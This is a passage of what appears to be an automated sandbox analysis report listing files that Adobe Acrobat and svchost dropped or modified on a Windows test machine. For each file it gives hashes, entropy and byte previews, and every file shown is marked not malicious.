Preview:	z3..........@..@.;...{..................<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@..........................................#.................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x698fb383, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.42212547790624355
Encrypted:	false
SSDEEP:	1536:BSB2ESB2SSjlK/dvmdMrSU0OrsJzvdYkr3g16T2UPkLk+kTX/Iw4KKCzAkUk1kI6:Baza/vMUM2Uvz7DO
MD5:	B20A08A85D91379CE468A8D374FFC7C2
SHA1:	98C156D167607AA760083472FFB85E5AF67F40AC
SHA-256:	023C501FE9F663589E5597A75DBDBAEB3FEEACE5E210154939BA139BA2CE66EB
SHA-512:	ED1B8E886E6EE7E019C9E386A25E5130A4F270C999A66F7A0C10D5BEEF31D622F742F6536BDD7908374C2D3C4DF60D703893018EEE9836C8C58EBF4760F892B4
Malicious:	false
Preview:	i...... .......A.......X\...;...{......................0.!..........{A..#...}s.h.#.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ........;...{...............................................................................................................................................................................................2...{...................................z._.#...}s...................\..#...}s..........................#......h.#.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.07661776213203877
Encrypted:	false
SSDEEP:	3:MuS6YeaRkauajn13a/SHoO//llollcVO/lnlZMxZNQl:1zKkaua53qSHXXAOewk
MD5:	0E63CCC6AAC4AE20F28F25856EFF98AF
SHA1:	E3093430F1C4CED8194CCE157739D20C435E6A1F
SHA-256:	9DF1EEE1227AC1C49CC613BA39BA0EF22FDE2259640145D6FF09F673B8233FC2
SHA-512:	14127DAF5C130A1AEF6B8DFBC31F81462B0D486FE22C66DF6C73B33B3A6B38F20B86BE7FAADA373679FCF936FEB153E24EDDC4663CFDC8B344AD8F8BA3EC9B62
Malicious:	false
Preview:	.R.......................................;...{...#...}s......{A..............{A......{A..........{A]..................\..#...}s.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.2561553123985005
Encrypted:	false
SSDEEP:	6:iO4od10/Vq2Pwkn2nKuAl9OmbnIFUtSod1QgZmwsod1QIkwOwkn2nKuAl9OmbjLJ:7vz0/VvYfHAahFUtRzQg/7zQI5JfHAae
MD5:	DA1D0E88E5C0A07D084DB1D6CEFC5191
SHA1:	5F2195A18AF0CA9573C3A6F7B1E02E3C4A11BD0F
SHA-256:	6A84E179D791113DC83D5A3729CEBBFA73F4FEE7AA00E00DBBB753242CB34C60
SHA-512:	1EF4A5562645981000EB974C909FC6BF2458AF1A72E7F631E60434A929D50F6765CB757454B865BC2BDCFDB7E37237D014E8D13E59971DC47B97DD556B970207
Malicious:	false
Preview:	2025/01/10-08:35:07.962 1f14 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-08:35:07.966 1f14 Recovering log #3.2025/01/10-08:35:07.966 1f14 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.2561553123985005
Encrypted:	false
SSDEEP:	6:iO4od10/Vq2Pwkn2nKuAl9OmbnIFUtSod1QgZmwsod1QIkwOwkn2nKuAl9OmbjLJ:7vz0/VvYfHAahFUtRzQg/7zQI5JfHAae
MD5:	DA1D0E88E5C0A07D084DB1D6CEFC5191
SHA1:	5F2195A18AF0CA9573C3A6F7B1E02E3C4A11BD0F
SHA-256:	6A84E179D791113DC83D5A3729CEBBFA73F4FEE7AA00E00DBBB753242CB34C60
SHA-512:	1EF4A5562645981000EB974C909FC6BF2458AF1A72E7F631E60434A929D50F6765CB757454B865BC2BDCFDB7E37237D014E8D13E59971DC47B97DD556B970207
Malicious:	false
Preview:	2025/01/10-08:35:07.962 1f14 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-08:35:07.966 1f14 Recovering log #3.2025/01/10-08:35:07.966 1f14 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.110825537150415
Encrypted:	false
SSDEEP:	6:iO4od1bWRlQ+q2Pwkn2nKuAl9Ombzo2jMGIFUtSod1bWOdWZmwsod1bWTlQVkwOz:7vzbWRe+vYfHAa8uFUtRzbWj/7zbWCVs
MD5:	F491A2A7CBB474E16B86CC48CC38185F
SHA1:	C13D672630AAD100D5DA35E172F4817BA45AC7D8
SHA-256:	774934276F769034EC30D82D2FD2109F1AFB22FB93C49193DD071E16C0438252
SHA-512:	8BCF2DFBA62D0DE80DF4AF3708DAB2DBEBD5E39438D5B734CBC1F9A1699AC194B4EB98D805908129C12D6F7E1EC65E55C221F3C1B4D9C892B3320A3405D995DB
Malicious:	false
Preview:	2025/01/10-08:35:08.034 1c0c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-08:35:08.035 1c0c Recovering log #3.2025/01/10-08:35:08.036 1c0c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.110825537150415
Encrypted:	false
SSDEEP:	6:iO4od1bWRlQ+q2Pwkn2nKuAl9Ombzo2jMGIFUtSod1bWOdWZmwsod1bWTlQVkwOz:7vzbWRe+vYfHAa8uFUtRzbWj/7zbWCVs
MD5:	F491A2A7CBB474E16B86CC48CC38185F
SHA1:	C13D672630AAD100D5DA35E172F4817BA45AC7D8
SHA-256:	774934276F769034EC30D82D2FD2109F1AFB22FB93C49193DD071E16C0438252
SHA-512:	8BCF2DFBA62D0DE80DF4AF3708DAB2DBEBD5E39438D5B734CBC1F9A1699AC194B4EB98D805908129C12D6F7E1EC65E55C221F3C1B4D9C892B3320A3405D995DB
Malicious:	false
Preview:	2025/01/10-08:35:08.034 1c0c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-08:35:08.035 1c0c Recovering log #3.2025/01/10-08:35:08.036 1c0c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.963452180110138
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqjxsBdOg2Hwcaq3QYiubInP7E4T3y:Y2sRdseidMH73QYhbG7nby
MD5:	4AF63DB4C8B55B18393F1D08D81D4196
SHA1:	5254D71EBD934E0FD98CD0E63DBCFA621A804A61
SHA-256:	5CE4E44600AF3219861013E978BD4305AF8C7DDA1F34F3774F6598C6757C85A7
SHA-512:	FDA510553A0974D0AC394ED4F69AE87251F383D628C4601AF7D56495B98951E4E1B704B277469404CCE1E1CD4450B41AE14FAB5FBEE68627ACF6CDC31821B959
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381076120489408","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":144160},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.4","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\c59aa6d2-a128-48c4-943b-5baf4c538323.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	475
Entropy (8bit):	4.963452180110138
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqjxsBdOg2Hwcaq3QYiubInP7E4T3y:Y2sRdseidMH73QYhbG7nby
MD5:	4AF63DB4C8B55B18393F1D08D81D4196
SHA1:	5254D71EBD934E0FD98CD0E63DBCFA621A804A61
SHA-256:	5CE4E44600AF3219861013E978BD4305AF8C7DDA1F34F3774F6598C6757C85A7
SHA-512:	FDA510553A0974D0AC394ED4F69AE87251F383D628C4601AF7D56495B98951E4E1B704B277469404CCE1E1CD4450B41AE14FAB5FBEE68627ACF6CDC31821B959
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381076120489408","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":144160},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.4","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	4320
Entropy (8bit):	5.256936160494201
Encrypted:	false
SSDEEP:	96:etJCV4FAsszrNamjTN/2rjYMta02fDtehgO7BtTgo7f8h:etJCV4FiN/jTN/2r8Mta02fEhgO73goY
MD5:	72BF86642C8C5EE861D201FA75C9D848
SHA1:	776F65D55EAFD2367A35FCF1E7F8661FB4A5C536
SHA-256:	3F7EE4AF75A66A431F61EBD81F0748F0BA455438F574CEB5025AC6631BD5DA57
SHA-512:	B270B50D7C8D605435D5FB20F7DBBAFB7F7EFE0506DBEF90AE588067C1D93FC4E4AAA7209E60FDBFF2C9BF41BD091DB56773C619649D7CBF337DB72FD7387ABD
Malicious:	false
Preview:	*...#................version.1..namespace-['O.o................next-map-id.1.Pnamespace-158f4913_074a_4bdf_b463_eb784cc805b4-https://rna-resource.acrobat.com/.0>...r................next-map-id.2.Snamespace-fd2db5bd_ef7e_4124_bfa7_f036ce1d74e5-https://rna-v2-resource.acrobat.com/.1O..r................next-map-id.3.Snamespace-cd5be8d1_42d2_481d_ac0e_f904ae470bda-https://rna-v2-resource.acrobat.com/.2.\.o................next-map-id.4.Pnamespace-6070ce43_6a74_4d0a_9cb8_0db6c3126811-https://rna-resource.acrobat.com/.3....^...............Pnamespace-158f4913_074a_4bdf_b463_eb784cc805b4-https://rna-resource.acrobat.com/..\|.^...............Pnamespace-6070ce43_6a74_4d0a_9cb8_0db6c3126811-https://rna-resource.acrobat.com/n..Fa...............Snamespace-fd2db5bd_ef7e_4124_bfa7_f036ce1d74e5-https://rna-v2-resource.acrobat.com/DQ..a...............Snamespace-cd5be8d1_42d2_481d_ac0e_f904ae470bda-https://rna-v2-resource.acrobat.com/i.`do................next-map-id.5.Pnamespace-de635bf2_6773_4d83_ad16_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.126025655835701
Encrypted:	false
SSDEEP:	6:iO4od11IQ+q2Pwkn2nKuAl9OmbzNMxIFUtSod1adWZmwsod1N/QVkwOwkn2nKuAo:7vz1F+vYfHAa8jFUtRzf/7zNIV5JfHAo
MD5:	BCEBCE647160CC7FBBE92F6AB86A5F40
SHA1:	AFD23B21DA8D56CA116DB7BA4857164FF6996B10
SHA-256:	334C36BE60071762B234A21DB0FB57B1EF28298E5A50D01CAD4412EF7E393E9D
SHA-512:	AD518D0A07CB1CFC77D2177F5B47B1B4B65C2BC087CB256F4669743169A398B5A954CEE3C008D80F1180332B0DD48C95E9781ED9F1CE37B82F8B4C394F365715
Malicious:	false
Preview:	2025/01/10-08:35:08.340 1c0c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-08:35:08.384 1c0c Recovering log #3.2025/01/10-08:35:08.390 1c0c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.126025655835701
Encrypted:	false
SSDEEP:	6:iO4od11IQ+q2Pwkn2nKuAl9OmbzNMxIFUtSod1adWZmwsod1N/QVkwOwkn2nKuAo:7vz1F+vYfHAa8jFUtRzf/7zNIV5JfHAo
MD5:	BCEBCE647160CC7FBBE92F6AB86A5F40
SHA1:	AFD23B21DA8D56CA116DB7BA4857164FF6996B10
SHA-256:	334C36BE60071762B234A21DB0FB57B1EF28298E5A50D01CAD4412EF7E393E9D
SHA-512:	AD518D0A07CB1CFC77D2177F5B47B1B4B65C2BC087CB256F4669743169A398B5A954CEE3C008D80F1180332B0DD48C95E9781ED9F1CE37B82F8B4C394F365715
Malicious:	false
Preview:	2025/01/10-08:35:08.340 1c0c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-08:35:08.384 1c0c Recovering log #3.2025/01/10-08:35:08.390 1c0c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 17, database pages 21, cookie 0x5, schema 4, UTF-8, version-valid-for 17
Category:	dropped
Size (bytes):	86016
Entropy (8bit):	4.4450679934097765
Encrypted:	false
SSDEEP:	384:SeS5ci5t1nBl+iBA7aDQPsknQ0UNCFOa14ocOUw6zyFzqFkdZ+EUTTcdUZ5yDQhB:WR1nBlRs3OazzU89UTTgUL
MD5:	90750730DD967C56EB8B7831292FF1A6
SHA1:	6C171F40A27430BE0DC0C6F0410D7B032E4CF78E
SHA-256:	8ACA4446996BD94C74DC9C61D8658BA24D69C142C11167F264C7DE8E5A6D0AD7
SHA-512:	0BB41DF6AC10A6D5AED874653A6B5AABDD2F4606E09920D8329ADC5CC21A03AEF12F213E5C8F278DEB7419FF77C1FBA4FFD54578D3EB7F2B33DCC586DF7248C3
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	2.2138271696982215
Encrypted:	false
SSDEEP:	24:7+tkCJnuwKxv3qLrzkrFsgIFsxX3pALXmnHpkDGjmcxBSkomXk+2m9RFTsyg+wm4:7MlJnChqvmFTIF3XmHjBoGGR+jMz+LhI
MD5:	1914CD7B9C5B090BC7FDB3F2591EE3D2
SHA1:	EECEC556A6EAE31A97D88F1BE05A4AC7125D6887
SHA-256:	11C341DF04265338A89336EA449337A79B5FD590B577DDDE17D03EEE9627EA2B
SHA-512:	A9163383305155A8D63E93E91858EF069B171109F61060D03E0F031A68FDF53AD95F58357B3CBA2062E5FE7D6D7CEA598B0F36BE899E8FF067905202FA7FCDEA
Malicious:	false
Preview:	.... .c.......O{........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7543291572487476
Encrypted:	false
SSDEEP:	3:kkFklVDytfllXlE/HT8kUs7vNNX8RolJuRdxLlGB9lQRYwpDdt:kKneT8eNMa8RdWBwRd
MD5:	FD1A2ED3CCC447B8B263794A001B75BD
SHA1:	2142189687ADB6B65035785EC1D0BB60DAF04638
SHA-256:	233D209332F2F7677DBE95C124114DEE878103059928B118E3CEFA51412AB968
SHA-512:	A66AEB3204F9995C9676FCB92EBA5B6A288ED2F79E0772630551CB8A3717356065611EDD0281326DD8A422536D52A4C032EE575C5B5D05F7F0EF83F57BA41464
Malicious:	false
Preview:	p...... ........&..~dc..(....................................................... ..........W....nE..............o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.7820

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.7820

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
